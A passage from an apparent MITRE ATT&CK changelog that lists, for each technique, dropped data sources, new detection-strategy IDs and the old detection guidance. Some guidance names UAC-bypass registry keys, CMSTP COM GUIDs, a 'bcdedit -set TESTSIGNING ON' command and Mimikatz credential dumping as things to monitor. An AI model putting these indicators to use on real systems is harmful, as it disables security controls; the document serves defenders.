x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

[T1217] Browser Information Discovery

Current version: 2.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0013: Detection of Local Browser Artifact Access for Reconnaissance

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:54:16.719000+00:00	2025-10-24 17:48:50.561000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

[T1185] Browser Session Hijacking

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Access)
DS0009: Process (Process Modification)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0507: Detect browser session hijacking via privilege, handle access, and remote thread into browsers

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Modification', 'Process: Process Access', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:33.428000+00:00	2025-10-24 17:48:48.383000+00:00
x_mitre_detection	This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.

[T1612] Build Image on Host

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0459: Detection Strategy for Build Image on Host

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Image: Image Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:54:42.589000+00:00	2025-10-24 17:49:01.646000+00:00
x_mitre_detection	Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.

[T1591.002] Gather Victim Org Information: Business Relationships

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0855: Detection of Business Relationships

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:54:59.306000+00:00	2025-10-24 17:48:55.897000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1548.002] Abuse Elevation Control Mechanism: Bypass User Account Control

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0388: Detection Strategy for T1548.002 – Bypass User Account Control (UAC)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:15.662000+00:00	2025-10-24 17:48:25.823000+00:00
x_mitre_detection	There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: * The `eventvwr.exe` bypass uses the `[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command` Registry key.(Citation: enigma0x3 Fileless UAC Bypass) * The `sdclt.exe` bypass uses the `[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` and `[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand` Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) Analysts should monitor these Registry settings for unauthorized changes.

[T1596.004] Search Open Technical Databases: CDNs

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0809: Detection of CDNs

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:55:21.053000+00:00	2025-10-24 17:49:06.210000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1218.003] System Binary Proxy Execution: CMSTP

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0328: Detection of Malicious Profile Installation via CMSTP.exe

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:29.296000+00:00	2025-10-24 17:48:45.149000+00:00
x_mitre_detection	Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. * To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).

[T1574.012] Hijack Execution Flow: COR_PROFILER

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0479: Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:41.257000+00:00	2025-10-24 17:49:40.510000+00:00
x_mitre_detection	For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.

[T1003.005] OS Credential Dumping: Cached Domain Credentials

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0513: Detection of Cached Domain Credential Dumping via Local Hash Cache Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:55:45.923000+00:00	2025-10-24 17:48:54.919000+00:00
x_mitre_detection	Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.

[T1546.001] Event Triggered Execution: Change Default File Association

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0061: Detect Default File Association Hijack via Registry & Execution Correlation on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:52.605000+00:00	2025-10-24 17:49:07.854000+00:00
x_mitre_detection	Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under `[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts` and override associations configured under `[HKEY_CLASSES_ROOT]`. Changes to a user's preference will occur under this entry's subkeys. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.

[T1070.003] Indicator Removal: Clear Command History

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Deletion)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0165: Behavioral Detection of Command History Clearing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Deletion', 'File: File Modification', 'Command: Command Execution', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:23.774000+00:00	2025-10-24 17:48:40.313000+00:00
x_mitre_detection	User authentication, especially via remote terminal services like SSH, without new entries in that user's `~/.bash_history` is suspicious. Additionally, the removal/clearing of the `~/.bash_history` file can be an indicator of suspicious activity. Monitor for suspicious modifications or deletion of `ConsoleHost_history.txt` and use of the `Clear-History` command.

[T1070.002] Indicator Removal: Clear Linux or Mac System Logs

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Deletion)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0520: Behavioral Detection of Log File Clearing on Linux and macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Deletion', 'File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:56:45.103000+00:00	2025-10-24 17:48:34.441000+00:00
x_mitre_detection	File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.

[T1070.001] Indicator Removal: Clear Windows Event Logs

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Deletion)

New Detections (Detection Strategies -> Technique):

DET0532: Detection of Event Log Clearing on Windows via Behavioral Chain

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Deletion', 'Process: OS API Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:36.700000+00:00	2025-10-24 17:48:52.287000+00:00
x_mitre_detection	Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: "The audit log was cleared").

[T1592.004] Gather Victim Host Information: Client Configurations

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0820: Detection of Client Configurations

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:57:34.604000+00:00	2025-10-24 17:48:58.431000+00:00
x_mitre_detection	Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1115] Clipboard Data

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0341: Clipboard Data Access with Anomalous Context

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:57:50.289000+00:00	2025-10-24 17:48:36.079000+00:00
x_mitre_detection	Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.

[T1136.003] Create Account: Cloud Account

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)

New Detections (Detection Strategies -> Technique):

DET0319: Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:01:16.589000+00:00	2025-10-24 17:49:09.917000+00:00
x_mitre_detection	Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1087.004] Account Discovery: Cloud Account

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0386: Cloud Account Enumeration via API, CLI, and Scripting Interfaces

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:00:56.981000+00:00	2025-10-24 17:49:05.745000+00:00
x_mitre_detection	Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

[T1585.003] Establish Accounts: Cloud Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0846: Detection of Cloud Accounts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:01:31.837000+00:00	2025-10-24 17:49:06.502000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

[T1078.004] Valid Accounts: Cloud Accounts

Current version: 1.9

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)

New Detections (Detection Strategies -> Technique):

DET0546: Detection of Abused or Compromised Cloud Accounts for Access and Persistence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.556000+00:00	2025-10-24 17:49:35.682000+00:00
x_mitre_detection	Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.

[T1586.003] Compromise Accounts: Cloud Accounts

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0879: Detection of Cloud Accounts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:01:54.640000+00:00	2025-10-24 17:48:41.215000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).

[T1069.003] Permission Groups Discovery: Cloud Groups

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0036: Group (Group Enumeration)
DS0036: Group (Group Metadata)

New Detections (Detection Strategies -> Technique):

DET0251: Behavioral Detection of Cloud Group Enumeration via API and CLI Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Application Log: Application Log Content', 'Process: Process Creation', 'Group: Group Metadata', 'Group: Group Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:02:13.319000+00:00	2025-10-24 17:48:26.982000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.

[T1580] Cloud Infrastructure Discovery

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0010: Cloud Storage (Cloud Storage Enumeration)
DS0020: Snapshot (Snapshot Enumeration)
DS0030: Instance (Instance Enumeration)
DS0034: Volume (Volume Enumeration)

New Detections (Detection Strategies -> Technique):

DET0169: Detection Strategy for Cloud Infrastructure Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Enumeration', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Enumeration', 'Snapshot: Snapshot Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:02:30.057000+00:00	2025-10-24 17:48:49.479000+00:00
x_mitre_detection	Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1552.005] Unsecured Credentials: Cloud Instance Metadata API

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)

New Detections (Detection Strategies -> Technique):

DET0001: Detect Access to Cloud Instance Metadata API (IaaS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:02:45.218000+00:00	2025-10-24 17:48:27.965000+00:00
x_mitre_detection	Monitor access to the Instance Metadata API and look for anomalous queries. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).

[T1538] Cloud Service Dashboard

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0291: Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:16.288000+00:00	2025-10-24 17:49:32.022000+00:00
x_mitre_detection	Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)

[T1526] Cloud Service Discovery

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0025: Cloud Service (Cloud Service Enumeration)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0402: Detection Strategy for Cloud Service Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Service: Cloud Service Enumeration', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:03:24.903000+00:00	2025-10-24 17:49:30.791000+00:00
x_mitre_detection	Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.

[T1619] Cloud Storage Object Discovery

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0010: Cloud Storage (Cloud Storage Access)
DS0010: Cloud Storage (Cloud Storage Enumeration)

New Detections (Detection Strategies -> Technique):

DET0578: Detection Strategy for Cloud Storage Object Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Storage: Cloud Storage Access', 'Cloud Storage: Cloud Storage Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:04:12.682000+00:00	2025-10-24 17:49:03.853000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. Monitor cloud logs for API calls used for file or object enumeration for unusual activity.

[T1213.003] Data from Information Repositories: Code Repositories

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0263: Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Logon Session: Logon Session Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:04:59.867000+00:00	2025-10-24 17:49:25.081000+00:00
x_mitre_detection	Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.

[T1593.003] Search Open Websites/Domains: Code Repositories

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0805: Detection of Code Repositories

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:04:43.188000+00:00	2025-10-24 17:48:56.790000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1553.002] Subvert Trust Controls: Code Signing

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0230: Detect Suspicious or Malicious Code Signing Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:16.240000+00:00	2025-10-24 17:48:37.098000+00:00
x_mitre_detection	Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.

[T1587.002] Develop Capabilities: Code Signing Certificates

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Metadata)

New Detections (Detection Strategies -> Technique):

DET0833: Detection of Code Signing Certificates

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:05:55.035000+00:00	2025-10-24 17:48:37.738000+00:00
x_mitre_detection	Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1588.003] Obtain Capabilities: Code Signing Certificates

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0004: Malware Repository (Malware Metadata)

New Detections (Detection Strategies -> Technique):

DET0875: Detection of Code Signing Certificates

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Malware Repository: Malware Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:05:19.685000+00:00	2025-10-24 17:49:32.891000+00:00
x_mitre_detection	Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).

[T1553.006] Subvert Trust Controls: Code Signing Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0523: Detect Code Signing Policy Modification (Windows & macOS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:33.055000+00:00	2025-10-24 17:48:48.927000+00:00
x_mitre_detection	Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as `bcdedit.exe -set TESTSIGNING ON`.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as `HKCU\Software\Policies\Microsoft\Windows NT\Driver Signing`. Modifications to the code signing policy of a system are likely to be rare.

[T1059] Command and Scripting Interpreter

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0516: Behavioral Detection of Command and Scripting Interpreter Abuse

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Module: Module Load', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:41.855000+00:00	2025-10-24 17:48:57.520000+00:00
x_mitre_detection	Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1092] Communication Through Removable Media

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0016: Drive (Drive Access)
DS0016: Drive (Drive Creation)

New Detections (Detection Strategies -> Technique):

DET0090: Cross-host C2 via Removable Media Relay

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Drive: Drive Creation', 'Drive: Drive Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:06:39.028000+00:00	2025-10-24 17:48:52.106000+00:00
x_mitre_detection	Monitor file access on removable media. Detect processes that execute when removable media is mounted.

[T1027.004] Obfuscated Files or Information: Compile After Delivery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0501: Detection Strategy for Compile After Delivery - Source Code to Executable Transformation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:06.564000+00:00	2025-10-24 17:49:22.358000+00:00
